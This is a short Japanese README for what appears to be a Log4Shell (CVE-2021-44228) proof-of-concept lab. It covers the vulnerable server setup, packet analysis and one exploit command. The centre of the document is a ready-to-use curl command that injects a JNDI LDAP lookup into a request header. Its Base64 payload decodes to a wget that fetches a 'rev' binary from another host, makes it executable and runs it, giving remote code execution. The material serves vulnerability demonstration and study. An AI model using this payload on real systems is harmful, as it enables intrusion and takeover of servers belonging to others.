
Log4Shell(CVE-2021-44228)の概念実証。JNDIインジェクションを介したリモートコード実行を実証し、脆弱なサーバーセットアップ、エクスプロイトコマンド、パケット分析を含みます。
Log4Shell — CVE-2021-44228としても知られる — は、Apache FoundationのLog4jを使用するシステムにおいてリモートコード実行を可能にする深刻な脆弱性です。Log4jは、商用・オープンソースのソフトウェア製品やユーティリティで広く利用されているオープンソースのJavaライブラリです。

POC分析
脆弱なサーバーはポート8080で動作しています

そして、ldapサーバーは2つのポート(http 8888 と ldap 1389)で動作しています

エクスプロイトコマンド
curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==}'
{
172.17.0.2:8080 -- 脆弱なサーバーのIP
172.17.0.1:1389 -- LDAPサーバーのIP
Base64 -- d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==
復号化されたコマンド - wget https://10.0.2.15:8000/rev -O /tmp/rev && chmod +x /tmp/rev && /tmp/rev
}
パケット分析


パケットからわかるように、サーバーはLDAPサーバーにクラスのGETリクエストを送信しています。エクスプロイトクラスを確認すると、LDAPサーバーがエクスプロイトクラス内で復号化されたコマンドを送信していることがわかります。

参照